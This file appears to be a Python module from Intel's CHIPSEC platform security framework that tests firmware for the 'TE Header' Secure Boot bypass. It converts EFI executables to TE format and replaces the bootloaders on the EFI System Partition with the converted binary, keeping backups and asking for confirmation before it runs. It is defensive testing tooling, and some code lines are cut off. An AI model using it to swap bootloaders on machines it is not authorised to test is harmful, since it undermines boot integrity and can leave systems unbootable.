#CHIPSEC: Platform Security Assessment Framework #Copyright (c) 2010-2019, Intel Corporation # #This program is free software; you can redistribute it and/or #modify it under the terms of the GNU General Public License #as published by the Free Software Foundation; Version 2. # #This program is distributed in the hope that it will be useful, #but WITHOUT ANY WARRANTY; without even the implied warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #GNU General Public License for more details. # #You should have received a copy of the GNU General Public License #along with this program; if not, write to the Free Software #Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # #Contact information: #chipsec@intel.com # """ Tool to test for 'TE Header' vulnerability in Secure Boot implementations as described in `All Your Boot Are Belong To Us `_ Usage: ``chipsec_main.py -m tools.secureboot.te [-a ,,]`` - ```` * ``generate_te`` (default) convert PE EFI binary ```` to TE binary * ``replace_bootloader`` replace bootloader files listed in ```` on ESP with modified ```` * ``restore_bootloader`` restore original bootloader files from ``.bak`` files - ```` path to config file listing paths to bootloader files to replace - ```` path to EFI binary to convert to TE binary. If no file path is provided, the tool will look for Shell.efi Examples: Convert Shell.efi PE/COFF EFI executable to TE executable: ``chipsec_main.py -m tools.secureboot.te -a generate_te,Shell.efi`` Replace bootloaders listed in te.cfg file with TE version of Shell.efi executable: ``chipsec_main.py -m tools.secureboot.te -a replace_bootloader,te.cfg,Shell.efi`` Restore bootloaders listed in te.cfg file: ``chipsec_main.py -m tools.secureboot.te -a restore_bootloader,te.cfg`` """ import os import shutil import struct import sys from chipsec.module_common import BaseModule, ModuleResult from chipsec.module_common import cs_input from chipsec.logger import logger DEFAULT_PE_FILE_PATH = "chipsec/modules/tools/secureboot/Shell.efi" DEFAULT_CONFIG_FILE_PATH = 'chipsec/modules/tools/secureboot/te.cfg' # typedef struct _IMAGE_DOS_HEADER # { # WORD e_magic; # WORD e_cblp; # WORD e_cp; # WORD e_crlc; # WORD e_cparhdr; # WORD e_minalloc; # WORD e_maxalloc; # WORD e_ss; # WORD e_sp; # WORD e_csum; # WORD e_ip; # WORD e_cs; # WORD e_lfarlc; # WORD e_ovno; # WORD e_res[4]; # WORD e_oemid; # WORD e_oeminfo; # WORD e_res2[10]; # LONG e_lfanew; # } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; IMAGE_DOS_HEADER = "<14H4HHH10Hi" IMAGE_DOS_HEADER_size = struct.calcsize(IMAGE_DOS_HEADER) E_MAGIC = 0x5A4D E_MAGIC_STR = "MZ" # typedef struct _IMAGE_DATA_DIRECTORY # { # ULONG VirtualAddress; # ULONG Size; # } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; IMAGE_DATA_DIRECTORY = "= size): #print "e_lfanew >= size" return False if ((size - e_lfanew) < IMAGE_NT_HEADERS_size): #print "(size - e_lfanew) < IMAGE_NT_HEADERS_size" return False pe_signature, = struct.unpack(" size): #print " *** strip more bytes than the file size" return None if (StrippedSize & ~0xffff): #print " *** strip more than 64K bytes" return None dof = e_lfanew +4 +IMAGE_FILE_HEADER_size Magic, = struct.unpack(" EFI_IMAGE_DIRECTORY_ENTRY_BASERELOC): BASERELOC = data[basereloc_off:basereloc_off +IMAGE_DATA_DIRECTORY_size] if (NumberOfRvaAndSizes > EFI_IMAGE_DIRECTORY_ENTRY_DEBUG): DEBUG = data[debug_off:debug_off +IMAGE_DATA_DIRECTORY_size] te_header = struct.pack(EFI_TE_IMAGE_HEADER,\ EFI_TE_IMAGE_HEADER_SIGNATURE, Machine, NumberOfSections, Subsystem, StrippedSize, AddressOfEntryPoint, BaseOfCode, ImageBase) te_data = te_header + BASERELOC + DEBUG + data[StrippedSize:] return te_data def produce_te(fname, outfname): data = '' with open(fname, 'rb') as f: data = f.read() te_data = replace_header(data) if (te_data is None): return 0 with open(outfname, 'wb') as fte: fte.write(te_data) return 1 def replace_efi_binary(orig_efi_binary, new_efi_binary): logger().log( "[*] replacing EFI binary '{}'..".format(orig_efi_binary) ) te_binary = new_efi_binary + '.te' if not os.path.exists(te_binary): produce_te(new_efi_binary, te_binary) # back up original binary backup = orig_efi_binary + '.bak' if not os.path.exists(backup): os.rename(orig_efi_binary, backup) try: shutil.copy(te_binary, orig_efi_binary) except OSError as err: logger().error( 'Cannot replace binary ({})'.format(err) ) return False return True def umount(drive): import subprocess if os.path.exists(drive): res = subprocess.call( ["mountvol.exe", drive, "/D"] ) if res != 0: logger().warn( "Cannot unmount EFI System partition: {:d}".format(res) ) def get_efi_mount(): import subprocess for l in range(ord('z'), ord('a'), -1): if not os.path.exists('%c:\\' % l): res = subprocess.call( ["mountvol.exe", "%c:\\" % l, "/S"] ) if res != 0: logger().error( "Cannot mount EFI System partition (status = {:d})".format(res) ) return None return '%c:\\' % l logger().error( "Cannot mount EFI System partition. No drive letters to use." ) return None def get_bootloader_paths( cfg_file ): bootloader_paths = [] fcfg = open( cfg_file, 'r' ) logger().log( "[*] reading paths from '{}'..".format(cfg_file) ) for line in fcfg: bl_path = line.rstrip() if bl_path is not None: logger().log( " adding path '{}'..".format(bl_path) ) bootloader_paths.append( bl_path ) return bootloader_paths def replace_bootloader( bootloader_paths, new_bootloader_file, do_mount=True ): logger().log( "[*] Replacing bootloaders on EFI System Partition (ESP).." ) dsk = get_efi_mount() if do_mount else '' if dsk is None: return False try: for pth in bootloader_paths: bootloader_path = os.path.join(dsk, pth) if os.path.exists(bootloader_path): replace_efi_binary( bootloader_path, new_bootloader_file ) else: logger().warn( "Bootloader {} does not exist on ESP".format(bootloader_path) ) finally: if do_mount: umount( dsk ) logger().log( "[*] You will need to reboot the system to see the changes" ) return True def restore_efi_binary( orig_efi_binary ): logger().log( "[*] Restoring {}..".format(orig_efi_binary) ) backup = orig_efi_binary + ".bak" if not os.path.exists(backup): logger().error( "Cannot restore original binary: '{}' not found".format(backup) ) return False try: if os.path.exists(orig_efi_binary): os.remove(orig_efi_binary) os.rename(backup, orig_efi_binary) except OSError as err: logger().error( 'Cannot restore original binary ({})'.format(err) ) return False return True def restore_bootloader( bootloader_paths, do_mount=True ): logger().log( "[*] Restoring bootloaders on EFI System Partition (ESP).." ) dsk = get_efi_mount() if do_mount else '' if dsk is None: return False for pth in bootloader_paths: bootloader_path = os.path.join(dsk, pth) if os.path.exists(bootloader_path): restore_efi_binary( bootloader_path ) if do_mount: umount( dsk ) logger().log( "[*] You will need to reboot the system to see the changes" ) return True def confirm(): logger().warn("***************************************************************************************") logger().warn("*") logger().warn("* RUNNING THIS TOOL MAY RESULT IN UNBOOTABLE OS!") logger().warn("* USE IT FOR TESTING PURPOSES ON TEST SYSTEMS ONLY") logger().warn("*") logger().warn("* The tool converts PE/COFF EFI executables to TE EFI executables.") logger().warn("* The tool can also automatically replace files (boot loaders)") logger().warn("* listed in the configuration file with the generated TE executable.") logger().warn("*") logger().warn("* If after reboot, TE executable runs then the firmware doesn't properly") logger().warn("* enforce Secure Boot checks on TE EFI executables") logger().warn("*") logger().warn("* If TE executable doesn't run then the firmware correctly blocked it.") logger().warn("* To restore OS boot loader in this case you may use one of the following:") logger().warn("* - Disable Secure Boot in BIOS, boot to external drive (e.g. Linux or UEFI shell)") logger().warn("* then restore original boot loader executables from .bak files") logger().warn("* - On Windows, use recovery mode which should automatically restore correct executables") logger().warn("*") logger().warn("***************************************************************************************") s = cs_input( "Type 'yes' to continue running the tool > " ) if s != 'yes': sys.exit( 0 ) def usage(): logger().log( 'Usage:\n' + \ 'chipsec_main.py -m tools.secureboot.te [-a ,,]\n' + \ ' \n' + \ ' generate_te - (default) convert PE EFI binary to TE binary\n' + \ ' replace_bootloader - replace bootloader files listed in on ESP with modified \n' + \ ' restore_bootloader - restore original bootloader files from .bak files\n' + \ ' - path to config file listing paths to bootloader files to replace\n' + \ ' - path to EFI binary to convert to TE binary\n' + \ ' If no file path is provided, the tool will look for Shell.efi\n' ) class te(BaseModule): def __init__(self): BaseModule.__init__(self) def is_supported(self): #win8 = self.cs.helper.is_win8_or_greater() efi_mode = self.cs.helper.EFI_supported() if not efi_mode: self.logger.log_skipped_check( "OS did not boot in UEFI mode" ) return efi_mode def run( self, module_argv ): self.logger.start_test( "'TE Header' Secure Boot Bypass Test" ) usage() sts = False do_mount = True file_path = DEFAULT_PE_FILE_PATH te_cfg = DEFAULT_CONFIG_FILE_PATH mode = module_argv[0] if len(module_argv) > 0 else 'generate_te' if 'generate_te' == mode: if len(module_argv) > 1: file_path = module_argv[1] if not os.path.exists( file_path ): self.logger.error( "Cannot find file '{}'".format(file_path) ) return ModuleResult.ERROR sts = replace_efi_binary( file_path, file_path ) elif 'restore_bootloader' == mode or 'replace_bootloader' == mode: confirm() if len(module_argv) > 1: te_cfg = module_argv[1] if not os.path.exists( te_cfg ): self.logger.error( "Cannot find file '{}'".format(te_cfg) ) return ModuleResult.ERROR bootloader_paths = get_bootloader_paths( te_cfg ) if 0 == len(bootloader_paths): self.logger.log( "[*] no bootloaders to replace. Exit.." ) return ModuleResult.SKIPPED do_mount = self.cs.helper.is_windows() # @TODO if 'restore_bootloader' == mode: sts = restore_bootloader( bootloader_paths, do_mount ) elif 'replace_bootloader' == mode: if len(module_argv) > 2: file_path = module_argv[2] sts = replace_bootloader( bootloader_paths, file_path, do_mount ) else: self.logger.error( "Invalid mode: '{}'".format(mode) ) return (ModuleResult.PASSED if sts else ModuleResult.ERROR)